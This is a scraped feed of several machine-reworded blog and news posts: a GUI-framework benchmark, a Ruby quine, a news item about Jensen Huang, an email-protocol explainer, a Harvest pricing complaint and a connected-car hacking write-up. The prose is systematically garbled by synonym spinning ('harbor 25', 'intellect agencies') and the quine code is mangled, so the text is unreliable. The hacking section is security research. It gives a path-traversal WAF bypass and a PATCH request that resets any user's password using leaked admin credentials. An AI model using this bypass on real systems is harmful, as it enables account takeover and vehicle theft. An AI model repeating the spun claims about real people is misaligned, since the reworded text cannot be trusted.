Memory. Resident recollection use for ample scenes is mostly higher the more a example retains.
Effects. Facebook moved distant from two-way binding since “cascading updates” became difficult to predict. That former is true, and Angular’s docs still say “Effects have to be the final API you attain for.” Modern graphs are glitch-free. Careless effects are motionless difficult to logic concerning and quickly outcome in feedback loops or akin stuff.
Rust. Signals depend on arena handles and move closures. Levien thinks such patterns “adapt poorly to Rust”. I think they modify fine enough, and GPUI’s entities are arena handles too, but, admittedly, it is not a liberated lunch.

Conclusion

GPUI makes a complete example realitively cheap, and that makes it likely good enough for many use-cases. It is certainly adequate for an publishing company whose expensive exterior is handled by hand. For a ample use it leaves a choice: keep the API group akin and pay per view, or get precision by writing a indication chart out of entities. Elm and contiguous manner have the identical problem. Each is clearest in the small, and all loses the item it was chosen for as precision becomes necessary, and, from my individual experience, that happens faster than group expect.

Tracked says are anywhere most of the site has ended up, any it started from. If that is anywhere we are going, I think we should commencement there, and make the component a function that runs once.

Method

Numbers are medians of use and resolve from my unpublished harness, on one machine: i9-13900K, RTX 3080 Ti, Vulkan, Linux. Windows, compositor and input are not included. Frameworks’ maintainers have not reviewed the adapters.
GPUI is at ddc9eda925 and gpui-fast at 86a8228229. zgui is at 082337db. These were through September and November 2026, as the finest of three passes.
Cells marked † in the grid unsuccessful their correctness oracle: Floem’s tag and keystroke edits, as noted above, and Slint’s font size. Every another charted cell passed.
The 60-panel results are gpui-fast’s retained_bench alongside my additions, in test mode, so no GPU activity is included. Retention off there is motionless gpui-fast.
Figures from Zed’s scheme are its authors’, from experimental branches.
Rust examples were type-checked against the vendored frameworks. Vizia’s and Freya’s arrive from their own sources, shortened.

References

The Qlobe: Rotating Quine (2010)

support@mycoding.id (Doris Putra) — Mon, 09 Nov 2026 04:15:17 +0700

My Quines are sometimes specialized for Japanese. But to act RubyConf, I should compose "global" Quines.

v=0000;eval$s=%q~d=%!^LcfYoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "%.#% :::##" 97N-A&Kj_K_> This quine turns 45 degrees whenever executed; thus, it volition arrive about whenever executed eight times (see below). You can create it any-degree rotate by giving an entire figure as an command-line argument.
 v=0416;eval$s=%q~d=%!^LcfYoP 4ZojjV)O>qIH1/n[|2yE[>:ieC ".#####%.#% " 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "#% .#####%." 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "####% .####" 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "#######% .#" 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC ":::#######%" 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "% :::#####" 97N-A&Kj_K_>YoP 4ZojjV)O>qIH1/n[|2yE[>:ieC "%.#% :::##" 97N-A&Kj_K_> translated from mamememo in Japanese (2010-09-05).

Trump reacts to the Jensen Huang affair: 'He probably has an excuse for it'

support@mycoding.id (Shubhangi Goel) — Mon, 09 Nov 2026 04:12:32 +0700

Trump stated that Jensen Huang should remain on as Nvidia's CEO. Alex Wroblewski / AFP via Getty Images

President Donald Trump backed Nvidia CEO Jensen Huang on Sunday following Huang stated he had been unfaithful to his wife alongside a female US intellect reportedly suspects was a Chinese spy.

"I think he's an honest guy," Trump told reporters on Sunday. "I think he likely has an excuse for it. You have to comprehend it."

Trump stated that in reply to a inquiry concerning whether he wishes he had acted on US intellect concerning the matter earlier.

Trump stated he has not spoken to Huang concerning the matter, but added that Huang has done an "amazing job" for the US and should remain Nvidia's CEO.

In a memo to Nvidia workforce on Sunday, Huang stated that he had been unfaithful to his spouse and that his actions had hurt his family. He added that Nvidia's commission was launching an inquiry into whether he was targeted by a abroad intellect agency.

Late final month, The New York Times reported that US intellect agencies had concluded that Huang was the mark of a Chinese spy plot. The outlet reported that Alice Huang, a Chinese endeavor administrator and Nvidia part buyer who is not connected to the Nvidia CEO, had developed a near association alongside him and had passed data to Beijing. She had been recruited to search data and possibly shove for additional advanced Nvidia chips to be made accessible in China, The Times reported.

Huang earlier stated he had a "normal" endeavor relationship alongside the woman.

Nvidia did not immediately react to a petition for comment.

On Sunday, Nvidia's commission said it had no logic to accept that national safety or business secrets had been compromised, but stated its enquiry would analyze the accessible information. It added that Huang was cooperating alongside the investigation.

Huang has rotate into an increasingly influential sound in Washington's conversation complete chip-export restrictions on China. He has taken the stance that strict limits on US part revenue could backfire by accelerating the growth of Chinese competitors.

A Bit about Email

support@mycoding.id (Doris Putra) — Mon, 09 Nov 2026 03:46:21 +0700

2026-11-06 — 2026-11-08 Before you torch and pitchfork me, I'm conscious most of this is simplified and doesn't go into border cases, equal although the net is composed entirely of border cases. Otherwise, I'd be penning a entire book.

First, several terminology; A representative email volition former through many distinct components on the way to the recipient:

 1. Sender's MUA [Via SMTP on harbor 465] 2. Sending MSA 3. Sending MTA [Via SMTP on harbor 25] 4. Receiving MTA 5. Receiving LDA and communication store [Via IMAP] 7. Receiver's MUA

(These aren't all necessarily distinct machines or equal distinct programs, but it is helpful to name all step.)

The communication person delegate (MUA) runs on the user's device and is what they use to dispatch or peruse messages. Let's say they dispatch something: that communication volition be uploaded to to the submission delegate (MSA) which checks the user's password before handing off to the communication transfer delegate (MTA).

The transfer agent's job is to conversation to another communication servers and get the communication to the receiving side's MTA. Once received, it's stated to the local shipment delegate (LDA) to be stored until the recipient checks their email. The name "LDA" is non-standard, but I use it to evade having four distinct abbreviations differing by a sole letter.

The logic for this structure is that whenever the scheme was being designed (around 1980), most organizations could lone oversee a sole server. Maintenance was a complete period job and updates frequently required multiple days of downtime. A well-connected device power have dedicated single-digits megabit/second nexus that worked fractional the time.

This forced the MTA and MUA distinction: if the recipient's server isn't up whenever the email is set, the sending MTA volition preserve the communication and re-attempt shipment later. This way, abbreviated outages don't logic bounced mail. Since the communication client is an interactive program the person runs, a distinct communication shop is needed to keep the email until it can be read.

Most MTAs are configured to continue retrying a communication for five days, normally alongside exponential backoff: mine volition delay 5 minutes following the archetypal failure, and addition the duration to one hr in prolonged outages.

The MSA and LDA have continually existed in several capacity, but have gotten a lot additional complicated when group started accessing email from their own computers alternatively or remotely logging onto a server.

SMTP

Most communication happens complete the Simple Mail Transfer Protocol, including MTA-MTA delivery. To narrow it downward a bit, I'll feign do be an MTA sending email to blog@maurycyz.com.

The archetypal stage is to appearance up the receiving MTA for that domain:

 # dig MX maurycyz.com [snip] maurycyz.com. 300 IN MX 1 smallcrow.com. [snip] # dig A smallcrow.com [snip] smallcrow.com. 300 IN A 65.109.172.162 [snip]

Email is old adequate to have it's own dedicated DNS document alternatively of using subdomain hacks or TXT abuse. The figure is a precedence (smaller is higher), which is used if multiple hosts are specified: a big email provider volition have multiple servers to justify timely delivery.

SMTP is a comparatively straightforward content based protocol. The one capture is that most communication servers volition necessitate a CRLF as a data terminator. This can frequently be sent alongside ctrl-m, but using a tool that automatically inserts cartridge-return bytes is easier:

 # telnet telnet> set crlf Will dispatch wagon returns as telnet . telnet> open smallcrow.com 25 Trying 65.109.172.162... Connected to smallcrow.com. Escape character is '^]'. 220 smallcrow.com ESMTP Postfix HELO nowhere 250 smallcrow.com MAIL FROM: 250 2.1.0 Ok RCPT TO: 250 2.1.5 Ok DATA 354 End data alongside . From:  To:  Hello, world. . 250 2.0.0 Ok: queued as C870D7CD93 QUIT 221 2.0.0 Bye

Each row sent is a command, to which the distant server responds alongside a three numeral figure followed by a individual readable explaintaion. 200 responses average it worked, 300 is "carry on...", 400 indicates impermanent errors which inform the sender to try again later, 500 errors signify that the email have to be returned as un-deliverable.

(If this seems akin to HTTP, that's no coincidence. A lot of the web, including its header syntax, was lifted from SMTP)

The archetypal command is continually HELO (or EHLO), followed the sending MTA's hostname. This is normally not the identical hostname that's in an email address, but many providers necessitate it to equivalent the sender's IP address. . The next two, MAIL FROM and RCPT TO define the location to provision to, and the location for any nonaccomplishment notifications. Bounce messages are normally generated one stage up from anywhere the error occurred: in most cases the receiving MTA has a issue and sends an error code to the sending MTA, but by that period MSA has already disconnect, forcing an emailed notification. Those notification themselves use an bare MAIL FROM to evade infinite loops.

Once the location has been stated and accepted, a DATA command is sent, followed by the genuine message. This, at a minimum, contains the "From" and "To" headers alongside alongside several text. The communication is terminated alongside a solitary duration to which the server replies to signify that the communication was sucessfuly handed off.

Final hop MTAs should onward the email to the LDA before sending rear a position code. This ensures that they never obtain a communication which they can't deliver, which would outcome in a error notification. This "backscatter" communication interacts seriously alongside spammers that forge MAIL FROM: it turns their evidently bogus communication into one that is apt to be delivered and logic a nusance.

There is no necessity for the addresses inner the email to equivalent the ones in MAIL FROM and RCPT TO (also known as the envelope). The most average logic of this is a communication that has been forwarded. For example, a mailing catalog volition set the letter cover destination to equivalent all member's email, but keep the first "From" and "To" headers intact so that replies activity correctly. The letter cover from volition normally be changed to item to location the catalog director volition inspect for error notifications.

Now, it's not that intermediate systems don't modify the headers: Most stages volition add a "received" header to document anywhere they got the message.

While required for MTA to MTA communication, SMTP is used throughout the entire system. The communication client submits email using a distinct port, but complete the identical protocol. Communication between inner components (i.e. MTA to LDA) frequently uses the closely connected Local Mail Transfer Protocol: the chief difference is the assumption that the receiver doesn't have a communication queue and volition either provision the communication immediately or come back an error.

Submission normally uses TLS to harbor 465, alongside the supplement of a password (in base64):

 AUTH PLAIN 334 AGh1bnRlcgBodW50ZXIy 235 2.7.0 Authentication successful

The one item that's considerably distinct is the MUA's fetch, which operates on a "pull" basis. I won't go into the syntax here, but it's not terribly complicated.

... but if you really try sending an email to, say, gmail, according to what I've written so far, it won't work. Some of that is because of them enforcing things akin the Message-Id header: a distinctive identifier used to de-duplicate communication in cases anywhere the receiving MTA accepts an email but the association drops before the sender is informed concerning this. This causes the sender to try again later, which duplicating the message.

However, a big part of it is...

Authentication

Base SMTP trusts that all sender is be fine behaved: anyone can dispatch email as anyone else. In fact, many hosts were configured to obtain and relay communication from anyone as a conveyance for whenever someone's customary server was down.

The first resolution to bad behavior was to get the culprit kicked off the internet... but that cut distinct quickly formerly the network grew and companies began getting involved: the archetypal documented case of spam email was sent in 1978 and sold 13 myriad dollars in computers. While authentication doesn't forestall spam, it makes it imaginable to display out unwanted senders.

Verifying sender addresses is not imaginable using the MX record, since there is no justify the identical presenter is used for receiving and sending mail. The simplest resolution is to publish the sending location in a seperate DNS record:

 @ TXT v=spf1 ip4:65.109.172.162 ip6:2a01:4f9:c011:841a:b01d::1 -all ; Roughly: ; authorize from 65.109.172.162 ; authorize from 2a01:4f9:c011:841a:b01d::1 ; refuse otherwise

However, that's not fairly adequate for the email empire. Big-tech additionally wants the email build to be signed alongside a cryptographic key published via a (DKIM) DNS record. This requires adding a stage to sending mails, normally as a plugin for the MTA.

While I rag on big-tech a lot, but this is really a sensible policy: SPF can lone verify the MAIL FROM, since forwarding the email volition chance the origin IP address. DKIM signatures are attached to the communication and can be used to verify the first sender (the "From" address) of a message, which is what's really shown to the person in most cases.

However, the two of these don't really forestall spam, since spammers can fair set up a few TXT records. Big-tech additionally requires the sender's HELO hostname to be accordant alongside their IP address, via the two onward and reverse DNS. This helps forestall compromised devices from spewing out junk: a astute TV is improbable to have a meaningful PTR record, and if it does, that hostname won't determine rear to it's address.

... unfortunately this guideline additionally makes it unattainable to immediately dispatch communication from most residential net connections unless you own the location block. Of course, the resolution is to pay a big-tech business prosperity to relay your emails. If you don't akin this, discover a communication provider alongside additional permissive rules: the lone logic big-tech is capable to keep their racket operating that five or so companies authority 99% of email.

The message

This is anywhere SMTP stops being so simple. Let's appearance at the simplest imaginable email formerly it's been delivered:

 Return-Path:  Delivered-To: bob@here Received: from here by current alongside LMTP id bs05E10S7Go4VQMAHrglgg (envelope-from ) for ; Thu, 05 Nov 2026 05:21:33 +0000 DKIM-Filter: OpenDKIM Filter v2.11.0 current B05E67CD18 Received-SPF: None (mailfrom) identity=mailfrom; client-ip=313.33.33.337; helo=there; envelope-from=alex@there; receiver=here Received: from there (unknown [313.33.333.337]) by current (Postfix) alongside SMTP id B05E67CD18 for ; Thu, 05 Nov 2026 05:20:42 +0000 (UTC) From: alex@there To: bob@here Hello, World!

The format of the headers is superficially akin to HTTP headers, except that no row should exceed 78 bytes. (without the CRLF row terminator) Overlong headers are damaged up and newly created lines are prefixed alongside whitespace to signify that they are a continuation of the final header.

Mail application mostly preppends headers to the commencement of a message, so it's helpful to peruse them backwards. "From" and "to" are fairly oneself explanatory. Next, the "received" header contains a note from the receiving MTA: it includes the source's HELO name, IP address, RCPT TO and a timestamp.

The MTA afterward performed SPF and DKIM checks, which came up empty: There's no signature and the MAIL FROM hostname is not publically resolvable.

The LDA added another "received" header, although it's not extremely helpful. More importantly, it tacked on the "return-path" alongside the first MAIL FROM location and recorded the mailbox the communication was delivered to.

However, the build isn't continually plain text. This is an email that includes formatting:

 [...] MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=----IX71FHL6PHA0538LS1WKT2W9SF7S8X Content-Transfer-Encoding: 7bit ------IX71FHL6PHA0538LS1WKT2W9SF7S8X Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hello, World! I can do bold text! ------IX71FHL6PHA0538LS1WKT2W9SF7S8X Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hello, world! I can do bold<= /b> text
 ------IX71FHL6PHA0538LS1WKT2W9SF7S8X--

That's right, it's a web page!
However, since not all email clients can comprehend HTML, the communication additionally includes a plain content version. This is done using MIME's "multipart" encoding, in this case, multipart/alternative, which indicates all the versions are functionally equivalent.
MIME's type figure has been stuck at 1.0 since 1996.
The delimiter is a randomly chosen string, which allows multiple multiparts to be nested inner without escaping. Each division of the communication has it's own headers, in this case, indicating that it's sent in the quoted-printable encoding. This allows the email communication to merge any bytes without exposing the MTA to scary things akin non-seven-bit ASCII: remember, the SMTP is 45 years old.
In quoted-printable, equal signs are used as the escape character: if followed by two hex digits, it decodes to that byte. If followed by a newline, the two characters are removed. This is used to interrupt lengthy lines that could alternatively logic trouble.
In this email, "=3D" becomes a literal equal sign and the two lines are joined together. If you've always seen an email alongside stray equals or missing one or two characters ~ all 80 bytes, damaged quoted-printable decoding is normally the culprit.
The second "content-transfer-encoding" is base64, which is used for binary records akin attached images:
MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="5ZTNvId/H+rlk7Fr" Content-Disposition: inline --5ZTNvId/H+rlk7Fr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Check out this file: --5ZTNvId/H+rlk7Fr Content-Type: application/octet-stream Content-Disposition: attachment; filename="file.bin" Content-Transfer-Encoding: base64 J7mtSdbQItOAi345nwaNkkTXrnDIRPA0DSwhbSAOwm2C/KoHjQIotY9lnJRMBRk9InQaHOxL bb7DGd9EN6uRpjvCbox9xblAh3CxH7sl+YAkYcKw1V100RpBwMhgaXfUJBB3oRkLffgRwEyK v9qFBLp9zZ+SiRJoRWbA4aZLexPhHZ35vFROVKYtiAeMlD1s15v3kPZvEADam0e45BoSaqmp 1S3z3b5wBIFHJUxQULD589MKaFx2Z2A+91pl/pbZWmZkzt55D/hZ05kjUUbXUnDnTYAQE2Gk WnN+SnrQvfEO+Tz7AdrbLD1q2DgwWW+k0cVJLKjdwRxesGhAkQCZfHVrno6R4iXjTbInIbQv hXzQiV840iUiUhk282WADd1ffJ0sot2Waf7XHLIE1lZVFQ3iGofYbw8pZlg3sb35AnIWPZKv fbC6Yh95RV23R4K2NHeBX1rpl4bSSiftnD2RbsBzv7cgw/6M/Lj3O40NFGAaUC+J7TpAaXdi tvlPsNQhMo8QRf/ub7WK42cPUlz1fKq1k1pzGN96YOsE5azMfF4vLANtbtbVmLIp2WmgBk0P 9IGMWy/xIAe0cOh+bqzru2+ojJGgx9uX4VSTP9BaTOwkVX5+rQfpp1qJodtHiO8sHw6Pg+Mg WcpqQPC7118ccuT44cVpIRkwOSoJzsW++WM= --5ZTNvId/H+rlk7Fr--

This is why size limits are frequently disappointing: the email volition be 33% larger than the attached file. More productive encodings (raw binary data) are supported by several MTAs, but may have to be converted to base64 location downward the path... which would interrupt DKIM signing.
Generally:

No encoding ("7-bit") can be used if the communication has abbreviated lines and fits in low-bit ASCII. However, "7-bit" is mostly seen as a null encoding for already encoded multipart containers.

Quoted-printable if the communication is mostly text, but has item that risks breaking ancient software.

Base64 for binary data.

About TLS

The SSL/TLS used by communication clients is efficiently the identical as for a browser: the communication provider must go to a certificate authority, demonstrate their character and get a certificate.. Algorithms and ciphers are impaired at the least clue they may be insecure.
However, MTAs operates on "trusted" networks... although it's small that an attacker can't get admission to net traffic, but that if they could, it would be imaginable for them to continue an ACME difficulty and obtain out a trusted certificate.
As a result, the goal is mostly to defend against passive eavesdropping: most sysadmins don't annoy dealing alongside a CA and use self-signed certificates. (it's not akin CAs have a fine track record: 4)
Another weird item concerning email is that MTAs don't use a distinct TLS port. All connections on harbor 25 commencement as plaintext, afterward the sender issues a STARTTLS command and hands complete the association to a SSL/TLS library. It's slightly janky, but it allows servers to attempt to use encryption and cleanly autumn rear if it's not supported.
Such an method isn't awesome for submissions, since a autumn rear would leak the password... and baddies on shared networks or nosy residential ISPs can band out the STARTTLS command. For this case, it's finest to default use the dedicated SSL submission port: 465.
(This harbor really has a bit of a history, alongside it being deprecated in favor of STARTTLS before being re-endorsed formerly we realized using optional SSL for passwords was a bad idea.)
So what??

Unless you compose email connected application or run infrastructure, most of this data is deeply useless. However, there are a few things you power desire to remember.
The underlying protocols authorize five days for delivery, and it can sometimes obtain longer. Since users anticipate shipment in seconds and most emails are at smallest slightly period sensitive, some MTAs are configured to dispatch out postpone notification if a communication is taking a while.
You may desire to discover out if yours does this before assuming the recipient is ignoring you.
Emails are digital postcards.
A communication volition be stored and forwarded by multiple systems in plaintext. Anyone on the network way may be capable to peruse your email: SSL/TLS is not universally supported and can trivially be stripped out by energetic attackers.
This is an inherent part of email: there's no way to tack-on powerful encryption without breaking existing clients. If you need a justify of privacy, you must encrypt the communication before sending, and the recipient must decrypt it themselves. Be careful alongside built-in tools akin PGP: these mostly create it way too uncomplicated to accidentally hit "reply-all" without encrypting, in supplement to another flaws akin exposing the topic line.
PGP stuff
Since publication, multiple group have written to me explaining how obfuscating the topic row (or alert if the person fills it out) is completly unreasonable to anticipate from a for a self-proclaimed privacy tool. At smallest in my eyes, "encrypted messaging" method encrypted, not 90% encrypted and 10% plaintext.

The deficiency of deniablity and onward secrecy can be excused as limitiations of email's store-and-forward architecture... but default plaintext and making no attempt to encrypt certain the topic row or attachments is a formula for disaster: at smallest alongside vanilla email, group cognize it is not encrypted.

"Encrypted" email providers are mostly snake oil. While the communication shop can encrypt messages and a tradition MUA could decrypt them, the MTA must have admission to plaintext. As a result, it provides minimal to no safety against most assault vectors notwithstanding the "millitary class encryption". The lone way to fix email would be to get everyone to concur to toggle to an end-to-end encrypted protocol... but the entire item of email is worldwide compatability: encrypted messaging can exist, but encrypted email is contradictory.
The finest anticipation is to discover a communication provider that can be trusted not to snoop messages. That is to say, not an Advertising business (google) or one that's been pushing difficult for LLMs (microsoft / apple): both of these businesses create powerful incentives to peruse your messages. Although you'll motionless have to anticipation whoever you are communicating alongside isn't beign snooped on by their provider.
Worse, DKIM signatures act as a lifelong evidence that an email came from your provider's servers, equal if a communication is years old and has no apparent sequence of custody. This makes leaked, hacked, or snooped emails ideal blackmail material: since the bad performer can trivially demonstrate they haven't been fabricated.
This property, called non-repudiation, is mostly not desirable for messaging systems. Avoiding signing not an choice if you desire to interoperate alongside big-tech, but it is imaginable to regularly rotate and publish personal keys. Before they key is published, the signature can be trusted to verify it is legitimate. However, formerly the key has been published, the signature can been forged by anyone and is rendered retroactively untrustworthy.
Since authentication is checked during shipment by the MTA and LDA, this doesn't power how the email volition be handled. However, it volition mold doubt on the authenticity of leaked messages since the signature could have been forged alongside minimal effort.
While key rotation is average practice, most communication providers don't publish their old personal keys, so the signature is motionless trustworthy (modulo the assistance being hacked). I would advise against emailing item you wouldn't be comfortable study out in public.

https://www.rfc-editor.org/info/rfc821/: Original SMTP

https://www.rfc-editor.org/info/rfc2045/: MIME extended communication format

https://www.rfc-editor.org/info/rfc7208/: SPF Authentication

https://www.rfc-editor.org/info/rfc6376/: DKIM signing

RIP, Harvest

support@mycoding.id (Doris Putra) — Mon, 09 Nov 2026 02:58:21 +0700

I’ve been a self-employed contractor for concerning a decade now, and I’m bummed concerning Harvest.

Harvest was a time-tracking and invoicing service. You’d track how many hours or weeks you spent on a project, put together an invoice, email it to the client, and near it out whenever they paid. There was a small Stripe integration for accepting credit and ACH payments on the invoice web view. A historic diagram of total billed/paid amounts complete time, and a array of invoices. Harvest was exactly what you desire from small-business software: it solved a well-defined issue alongside a reliable, uncomplicated interface, and did so at a sensible monthly price. They managed to evade range creep and never tried to rotate into an accounting platform, or a blockchain for washing machines.¹ I loved Harvest and raved concerning it to all self-employed individual I met.

Back in 2025 Harvest got bought out by Bending Spoons, the business that gutted Vimeo. I was concerned they power ruin it, but was occupied alongside another things and didn’t have period to appearance for new invoicing software.

Long narrative short, they raised my cost from $13.32 to $133.98 per duration by moving everyone to a new “enterprise” scheme and “unlimited” use billing model, which is AFAICT, exactly what I had before. There’s additionally a “flex” scheme which expenses $12.65/mo… but that scheme now skims an additional 2% on top of the customary ~3% cardstock transaction fees. To be clear, that 3% pays for the entire credit cardstock network, affirmative all the group operating at Stripe and Mastercard, affirmative the financial hazard of chargebacks and fraud, etc. Harvest isn’t doing any of that work. I don’t cognize concerning you, but I don’t think I need to expend 2% of my income revenue to dispatch a brace PDFs a duration and cover a Stripe web form.

I wrote to Harvest concerning this, and discovered that they don’t peruse client emails any more. Instead they have a Large Language Model often vomit thousands of words at you. I’m no alien to enshittification, but man, I did not anticipate the speed at which Bending Spoons would run a absolutely fine business into the ground.

Time to discover a new invoicing service, I guess. Maybe bookkeeping too—Intuit’s Quickbooks Online seems to have entirely jumped the shark. Any of y’all freelancers have a scheme you like?

Unlocking any car from X brand in most of the world

support@mycoding.id (Riki Setiawan) — Mon, 09 Nov 2026 01:10:50 +0700

November 7 2026

I've continually had a gentle place for this particular car brand. Our family has owned a few of them complete the years, and they've served us incredibly well. In 2023, I bought a new four rotor drive/SUV from them, and it was the archetypal period I had admission to their connected car platform.
Having looked at platforms akin this before (previous works), I was sceptical concerning how safe they really were. I suspected there was item there, but existence kept getting in the way of really looking. This July, I collaborated alongside Sam Curry to obtain a appearance at the safety of a important automaker's connected car systems. Throughout this post, I'll mention to them merely as "the automaker".
When you typically think of car hacking, it's frequently uncomplicated to jump into the hardware flank of things, but my backdrop sits beautiful squarely in compromising internet-facing web applications and infrastructure. Regardless of all the hardware bits and bobs, it all connects rear to several assistance that, by design, have to be reachable from the internet.
The journey started alongside a uncomplicated question: what infrastructure does the app conversation to whenever I remotely unlock my car? To activity this out, I downloaded the APK and decompiled it, eventually reconstructing the API requests that were being made.
Going through the code, the chief item of communication seemed to be resources under *.redacted-telematics.com.au:
dartExecutor.executeDartEntrypoint(createDefault, CollectionsKt.r(gson.toJson(new GlobalConfigParams(false, g11, com.redacted.app.xcapp.a.f69866f, "X", str)), new Gson().toJson(new ApiConfig("https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au" ...
Almost all part of the person use called rear to redacted-telematics.com.au. What alternatively existed under this domain?
Running connected car infrastructure can be fairly complex, and managing it requires a mix of admin tools, staging, dev, and QA environments, to create certain that customers get a spotless experience. Whether all of that have to be sitting on the community internet, accessible to anyone consenting to do several essential reconnaissance, is a distinct story.
One asset caught my notice additional than the others. admintool.redacted-telematics.com.au returned a leaf titled TEST HARNESS. Who can oppose a subdomain alongside admintool in it?
Visiting this subdomain presented a extremely plain and gray login screen, which didn't exactly ooze quality, stated it presented a logout clasp before we'd logged in.
I affection that most single-page applications container their complete JavaScript bundle equal whenever all they need to render is a login page. Sure, several additional contemporary frameworks divided out JavaScript records so that they lone assist what is necessary, but in this case, we could comb through the ample JavaScript bundle to comprehend what this "admin tool" really let you do.
Oozing quality
Who equal says JavaScript bundles?
Turns out this admin tool let you do fairly a lot. It had a affluent API that let the automaker's workforce engage alongside client accounts and manufacturing vehicles alongside extremely few restrictions. Reconstructing the requests, we established that a lot of these APIs needed no authentication beyond the hardcoded API keys sitting in the JavaScript bundle.
For example, we could appearance up person accounts by email address:
But that's fair not fine enough. If we desire to unlock any of their cars from fair knowing the figure plate, we're going to need to do improved than that.
In Australia, a figure dish gets you the VIN (vehicle acknowledgment number) fairly effortlessly through state-based registration lookup sites.
This isn't really a safety flaw. There are plentifulness of lawful reasons to desire a VIN, akin checking a car's true repair and coverage former before purchasing second-hand. If we could go from VIN to a subscriber or email, we'd complete the chain.
Fortunately, there was an API that let you do exactly that:
With the subscriber GUID, you could drag the complete document particulars (including the user's email via the /v1/account endpoint) akin so:
Well, I conjecture we have the archetypal part of our sequence sorted. Plate -> VIN -> Subscriber GUID -> User Account PII (email) registered on the automaker's character phase (ForgeRock OpenIDM).
Now, how do we dispatch commands to any car we want? Surely this admin tool would let us do that? Unfortunately, no. It let us provision features to a car, add ourselves to a user's document as a secondary user, and equal create distant admission codes. But for all that functionality, none of it really got us distant authority of a vehicle.
The character platform
Sam and I afterward spent two weeks digging into how the automaker manages their chief character system: the application they use, the way commands are issued, and how consumers authenticate.
When a person goes through the authentication stream for the automaker's mobile app, requests are made to login.redacted-identity.com.au, and following going through an MFA flow, a person auth token is eventually issued. This auth token is afterward used for consequent requests to api.redacted-telematics.com.au (both REST APIs and GraphQL). Once you have that auth token, it's beautiful much equivalent over. You can authority a user's car (remote unlock/lock, horns, engine, etc).
So if we could mint a token for any user, we'd eventually be capable to authority anyone's connected car. This is the viewpoint we went for.
The automaker is a dense person of ForgeRock's character application (OpenAM/OpenIDM). This is the cornerstone of their authentication mechanisms. Pulling the subdomains for *.redacted-identity.com.au, we quickly established their OpenIDM case at openidm.redacted-identity.com.au. This is the scheme that manages all character registered on the automaker's connected car platform.
This all clicked together whenever we were combing through the JavaScript records under *.redacted-telematics.com.au and we came throughout an entirely cursed vendor JavaScript bundle that embedded admin credentials for OpenIDM 😱:
Even although these admin credentials were meant to be for their staging environment, stated the hygiene we'd seen so far, we were beautiful certain they'd activity in manufacturing too.
Fighting the WAF
Looking nearer at OpenIDM, we couldn't inform whether the automaker knew how susceptible it was. One item was apparent though: they'd invested heavily in WAF rules to obstacle admission to the delicate APIs that ForgeRock typically lets you call via /openidm/*.
Even alongside the base IP, any petition to /openidm/ came direct rear as an Nginx WAF block. Someone had put genuine attempt into hardening these resources (despite them being externally accessible).
Fair enough, and we regard the hardening. But that much WAF funding normally method bandaids complete item known to be bad. They likely understood how bad it was to have this asset exposed at all, and several endeavor case kept it there anyway.
I'm not certain a WAF regulation has always stopped us whenever we're motivated enough, so we invested days into finding a way out of these protections, using our trusty way traversal tricks. How difficult could it be?
Validating the admin credentials we established inner the JavaScript bundle was not that tough. The Australian OpenIDM case had a few paths whitelisted akin /XUI/ and /UI/, and way traversal characters were not blocked, so item as uncomplicated as /XUI/..%2fopenidm/endpoint seemed to at smallest partially work:
At smallest we cognize the credentials activity in production
But it can never be as uncomplicated as that, right? The way traversal motionless didn't get us to the endpoints under /openidm/, gratitude to quirks in how OpenIDM handles routing. Every endpoint would error out akin so:
Gosh, we're so close?!
In OpenIDM's world, there were no servlets (or resources) registered against paths that included the way traversal inside them. So it would fair error out, equal although it issued us an admin JWT.
We were incredibly annoyed by this. A uncomplicated quirk in routing mechanisms (probably not equal designed as a safety consideration) was blocking the complete assault sequence from working. We sat disappointed for a few days, and we idea that the way traversal viewpoint fair wasn't going to work. We did discover a few another endpoints (user upload, for example) that looked akin they power work, but we hit another quirk, a servlet way check, that prevented us from using them meaningfully.
All of this made us ask a distinct question: why disclose these OpenIDM instances externally at all? Surely there had to be several lawful use case for these resources to be exposed on the internet? We went rear to the distinct JavaScript bundles we had collected from their resources and searched them for communications to OpenIDM. We turned to the decompiled Android use and established the following:
Maybe there is a whitelist for several endpoints?
These were plainly endpoints inside their OpenIDM asset that were contactable from the Android app. So, perchance these were accessible without the WAF getting in the way?
/openidm/endpoint/aaa -> 403 WAF blocked
/openidm/endpoint/pinService -> 404, no WAF block
Interesting!
What another tradition endpoints existed? With several extremely ray brute forcing and guessing, we quickly established a getUser endpoint. Guessing at parameters, we established it accepted mail, guid, and phone. Combined alongside our admin credentials, what did this really let us do?
Eep.
The reply came rear alongside the password hash, PIN code hash, mobile shove tokens, and PII including mobile numbers and complete names. There was no WAF obstacle on this endpoint, so no way traversal was needed and the accurate servlet responded.
Don't get me wrong, this was already beautiful impactful. But the passwords were hashed alongside PBKDF2-SHA512, and needing period on a hash cracking rig for all unlock, alongside no justify of success, felt a bit lacklustre.
Back to the example board. How could we admission the /openidm/managed/user servlet alongside our way traversal, and motionless have the way be recognised by OpenIDM? We grabbed the OpenIDM origin closest to the type we were evaluation against and let GPT 5.6 Sol Ultra expend a fine six hours on it.
It succeeded. Even although Sam and I had the two spent period trying to manually bypass this juvenile limitation ourselves, we hadn't tried all imaginable combination.
When Sam and I tried /XUI%2f..%2fopenidm/, we got a difficult 403, and being human, we assumed that applied to all prefix. What GPT 5.6 established was that /static%2f..%2fopenidm/ wasn't covered by the WAF at all, and it gave us the OpenIDM APIs without the servlet disturbance issue.
Taking complete accounts
With this bypass, taking complete an document became trivial. We could PATCH a new password for any person profile:
PATCH /static%2f..%2fopenidm/managed/user/f7ba554REDACTED HTTP/1.1 Host: openidm.redacted-identity.com.au X-OpenIDM-Username: idmadmin X-OpenIDM-Password: REDACTED X-OpenIDM-NoSession: true Content-Type: application/json If-Match: "0000000abc123..." Cache-Control: no-store Accept: application/json [{"operation":"replace","field":"/password","value":"Testing123!"}]
Which responded with:
